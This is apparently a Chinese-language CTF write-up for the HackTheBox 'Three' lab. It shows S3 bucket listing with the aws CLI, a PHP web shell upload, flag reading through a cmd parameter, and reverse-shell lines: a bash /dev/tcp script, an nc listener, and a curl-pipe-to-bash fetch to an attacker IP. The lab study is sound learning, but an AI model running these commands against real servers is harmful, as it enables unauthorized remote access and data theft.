Hackthebox Three 靶机(starting point)
题目显示的难度是very easy,但对我来说是difficult,废话少数,来看一下怎么做吧。
先完成引导的题目,除了flag,其他题目难度都不大,只是在使用aws s3工具时比较迷茫,例如不知道需要加--endpoint=http://s3.thetoppers.htb 参数。
有了工具并能连接上aws之后,我们需要做什么呢?
我们需要找到这个工具是否存在漏洞,或者能否利用这个工具上传木马文件,进而获取目标服务器的控制权限,因为我们的目的是获取flag,只有能随意读取目标服务器的文件,我们才能找到flag
aws工具可以列出所有bucket对象
aws --endpoint=http://s3.thetoppers.htb s3 ls
进一步列出bucket的内容
aws --endpoint=http://s3.thetoppers.htb s3 ls s3://thetoppers.htb
在浏览器访问找到的index.php和.htaccess文件
既然可以访问到对应的文件,我们下一步看看能不能上传shell到服务器
看到aws的命令可以上传文件到网站
// 将当前目录里的 MyFile.txt文件拷贝到 s3://my-bucket/MyFolder $ aws s3 cp MyFile.txt s3://my-bucket/MyFolder/ // 将s3://my-bucket/MyFolder所有 .jpg 的文件移到 ./MyDirectory $ aws s3 mv s3://my-bucket/MyFolder ./MyDirectory --exclude '*' --include '*.jpg' --recursive // 列出 my-bucket的所有内容 $ aws s3 ls s3://my-bucket // 列出my-bucket中MyFolder的所有内容 $ aws s3 ls s3://my-bucket/MyFolder // 删除 s3://my-bucket/MyFolder/MyFile.txt $ aws s3 rm s3://my-bucket/MyFolder/MyFile.txt // 删除 s3://my-bucket/MyFolder 和它的所有内容 $ aws s3 rm s3://my-bucket/MyFolder --recursive
参考如上代码,我们可以构造下一步的payload,上传shell.php到服务器
浏览器访问shell.php,可以执行!!!
浏览器输入以下命令获取flag
http://thetoppers.htb/shell.php?cmd=cat%20../flag.txt
其实以上就足够了,但是看了一下Walkthrough,发现一个比在浏览器运行命令更酷的方式,就是反弹shell
可以参考以下两位大佬:
https://www.zhihu.com/tardis/zm/art/166165803?source_id=1005
https://becivells.github.io/2019/01/bash_i_dev_tcp/
想要获得反弹shell,需要几样东西,nc监听端口,python打开服务监听,客户端发起请求
在kali上创建如下shell.sh文件,注意这个文件存放的位置要和下面python服务运行时的位置一样
#!/bin/bash bash -i >& /dev/tcp/<YOUR_IP_ADDRESS>/1337 0>&1
监听1337端口
nc -nvlp 1337
python在8000端口上启动一个web服务器,并托管我们写的bash文件
python3 -m http.server 8000
在浏览器访问刚刚创建的shell.sh文件
http://thetoppers.htb/shell.php?cmd=curl%20<YOUR_IP_ADDRESS>:8000/shell.sh|bash
在kalli的nc窗口可以接受到反弹shell
然后奇怪的地方在于我想在浏览器上直接通过cmd参数连接到kali的nc端口,但是nc始终连接不了,望路过的大佬指点
10.10.14.162是kali的openvpn的ip
如下
http://thetoppers.htb/shell.php?cmd=bash -i >& /dev/tcp/10.10.14.162/1337 0>&1